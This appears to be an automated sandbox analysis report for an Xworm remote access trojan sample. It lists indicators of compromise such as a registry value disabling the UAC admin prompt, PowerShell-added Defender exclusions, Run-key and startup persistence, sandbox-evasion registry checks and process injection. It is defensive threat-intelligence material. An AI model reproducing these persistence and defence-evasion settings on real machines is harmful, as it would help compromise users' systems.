xworm | 8b095c70bb18e878b288db10c7b9d5de9ed2df22f075b30ed0cbf3fdcb2c9342

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConSENtprOmPTbEHAViorAdMIN = "0"	powershell.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	3336	powershell.exe
15	3336	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3252	powershell.exe
4540	powershell.exe
4652	powershell.exe
2400	powershell.exe
1348	powershell.exe
1052	powershell.exe
408	powershell.exe
2428	powershell.EXE
3868	powershell.exe
3336	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
6	3336	powershell.exe
15	3336	powershell.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation	svOrbEl0.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svOrbEl0.lnk	svOrbEl0.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svOrbEl0.lnk	svOrbEl0.exe

Executes dropped EXE 6 IoCs

pid	Process
784	FMyUS.eXe
4328	PdHGtqQL.exe
1236	svOrbEl0.exe
4380	1ZRs6.EXe
5072	svOrbEl0.exe
3456	svOrbEl0.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svOrbEl0 = "C:\\Users\\Admin\\AppData\\Roaming\\svOrbEl0.exe"	svOrbEl0.exe

Drops file in System32 directory 14 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\svOrbEl0	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2428 set thread context of 4604	2428	powershell.EXE	110

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FMyUS.eXe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1ZRs6.EXe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 62 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "001880114E5F0431"	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1740872622"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000fae86e0b4c91e041a8112999d2cefd5e000000000200000000001066000000010000200000004acae913cef47d71a50c4251526607c8e794aacd022f4d364a175a67587c249d000000000e80000000020000200000002308fffe407870b4db62f295100dfc4ecebae3e7ffdc313e191d482745ac65c210060000e29e616a1ca07c04543c31b85b9c1dfddfb7acd1abb1edfb01a5b97f964e64250c93c8a4eb90837a5e0a737cbdc0c8fee2d327334fea14297a80952980f37d5d827f0a2ff5a7a0a6a57b4ac179f5ab369eb4522c787f6eb13f829cc9af3c228e5d97f8b1e72b51707b31de3b8082ef0c04b865339d9c4fb2fe7c055773c412fa5a4a4d83e04f3015cc3a59e40e8895e47287b06792397d22a7663f3975c2c5a78ded3cd6e60cef8547f5f3b63774a5563b0132803c87a11057fee3306c9aa8c15ebe5ebada1aba457f5eed1a67428339d067b979a8b31363544414ebdd5a2d7382f875aa9e35826bb4789360aff097635ebb664c81d6313877e6733482536d62b5c8e20b570c614fe42a8525bd70ad7e406c0add7b95c0d20e24c3504470f66899a483bce5371ab94a39d5298356a0e2006d4b1f6386b12b12adac21e3716ded3aff812ace510971241dcc910fab3f9341b1938bf88b6492ca02b1743a0297c97b2b7a36f63c18a5a40fee5ea9d7b956d4e4a6da34ea86a953f4a21233be2ec88d7f18a471944f6cc91e636726ff73434b17a5205ae6d78242349de7738561798a712853283e6385c21b19cb58080c4c8801345be4079a4c4c6c9a8627db0263d2ebd6f9cf5832b3dcff86c60251bd3c682c8db1a17bfbd99311becdc43887ff0de82fc608db98d32c83d02ca9ce06c7a58c04299c13a91a421ac12fa6fad43a58b87bccad536d8bf3781426d6a7405e046b4852dab75422520c3c03a6ce23d09a225457672526560e679cc27f8bdb12039c97a529c6ab45db3fc4641591133e980088ba80267179f5af2c5a8b66fce0b814e8522b2fead2042a1bf2a7c5122d6dca75afdcfc12271862b423eee3731acb6354a37d1c6ac36adf14f19ae3ad01db03e60699504f8309bd1caf8809af9a1d38a6f2e77ef9f67a63b73912d0be79023b2afa81263563ef0fedf77c4cf2096e720dd234bf66fa8c44e3a5736e5f3a8f7aae6100a5bdf0e7ee8e25fd5797ece27fc56580839dfe3fd40dc6c55c4c06a3720b20dc2b3439f6ae54b2fe945a9c7e4550079373ecd5f3d998ca96d3fbfade98bd3889829cc984d7b1f4ca5e9491b317545fba1764c7c280ff0f2038a9d7cb95df6baacff28db24b6e708b4aa90f82da414d66b04b324f370c7821f9b2abff619236c1f1495c8bfb842c85eb4ca363e26ede0098ebc4e8cc6937b92139ee14af1d2fad817b30e644bc2f2f755f52aced4b829a94115c80662b5c28008faa0165201e3206ae7f8831a4ebfee7cd489f236cc70545014b5f3cb34a5573956f6a245dd1247c0813e7eb668a16d3fd5ccb3a8256d04801f3b1cca3a14253e86b32158d4fda6271af65b683ba6fffb3c27d41b4b9085cff882a0e61e7ab1331791fe6784c289bb1c79952fcaf175b8280bb123cd29140302711e2303eff2cfd673293287cd70233bfa214f90772dfae1d03d40b2d28e7e7a8d07bf796ec76fdd36574b5b2b8f47c4eb56362efb5292dfae5baf2327d700b5fc9bfe56ed499c478e05d5127ac234220cbc2ad7ef6e5d11d9b1d515e5a29d80e5f96120765a3098941f32ca837807b24c25d5951d0e0b41285f0fe81f0d8ca8cd6dec688edb786c7426175fc4750c456814b2489fdf61208f99e80bef79badee3739cc8479c553090063850b1a838a138f1825a044f847ba71fdb0e743257d7e6e0110ffce68ad6bd1a1eb9b61af25b12a4f0b61247a07ded3eacc2d81e1d49e4f2021793a1b17e815a26d14270fa91825652faddf8ada9d4a44fb0e677ff27a9bac6f055b097d1ab528bec94f111c52455c6dee6eca7e8b008e0639d22ef8866b1111d3c75fc878638663c0478391acaf8bc0b7ed18fca9e1531300ac98d75d9317119c10816a4dbfbf46d11a102a19baffcc6147c9ea3ea2d676e6817fb2dee8a2453f0b9fa7b5943fc1b87cc8685533913918c3f5a896008c8b59da1d50c23a8b36801da6e7383110296e834c46f0b6b52c203d29422d188f47d3db1f4fe0ea1ea7036850463e14fca4a89f9888156c98c9bbfe8bddfa6fdf9e7491674ac4677e0ccb401d3e1d6423c29c4a40bcd58527eead3ef8aaab2c1d5793fe19c8cbf50c1d9b1428b800c6a751552c24e4ba133e6d0fb95f69fc284e406f7fb599a61f50d9e0c6ba6d7193b34444cf8aa7667d9acdab0720e71940000000952bacbe20f6d4a92b7346e92f5eaf40760e4298d1275bc4344273589d28ae9c19878adc383c14f30bda5fafc1c486644039a87c1ff0ace39975018ba0ff4ee8	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={ABD828F6-A6AA-4E08-92ED-6908246F7B7E}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sat, 01 Mar 2025 23:43:44 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "001880114E5F0431"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\001880114E5F0431 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000fae86e0b4c91e041a8112999d2cefd5e00000000020000000000106600000001000020000000721c199e5953c87b921b3b07e74362553b71e8eea4a8022d798332ae9ab4db1d000000000e80000000020000200000003995ca86ed9567179e2fa3426b4abeb98a18f035da0f2f6c4bd82ffef0b6a61d80000000975d61ead17fff1e6fbaee279f4338236edd04d9926d6d01b72c944e2b45c8731e357051780fff6324aef020d4a476452fa95649bd974f5aed71f102fde416c448224ecece53ab7d956495966203944adbccef396662f919804183bc4685bbf6cfb1ae4d8958a9de8779dd7821b8518ef7dd639889a56f5880cc0986dd408f6040000000a0cab12f138bfe0ae6d09a1f78f5a672168e8f34b55dacfc3ce1df2b914bc404a7d3e42d77dd4e28236a07b2af818fc2fb4e57760b4b47f688f20543a5bb3c0d	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e77c63d0-24ed-4f17	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\977530f8-7c6a-4f4e = 674d84a4038bdb01	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\977530f8-7c6a-4f4e	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\51841595-95e6-43b5 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000004070b2a4038bdb01406df0a4038bdb01406df0a4038bdb0127f303000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000615a59bd2000336462356561356565613830643465646266393065613739616164356565663931356661393336363230646631323735343731633862643930626537383737330000b20009000400efbe615a59bd615a59bd2e0000000000000000000000000000000000000000000000000058811c00330064006200350065006100350065006500610038003000640034006500640062006600390030006500610037003900610061006400350065006500660039003100350066006100390033003600360032003000640066003100320037003500340037003100630038006200640039003000620065003700380037003700330000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000804be95f1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c33646235656135656561383064346564626639306561373961616435656566393135666139333636323064663132373534373163386264393062653738373733000010000000050000a028000000cd000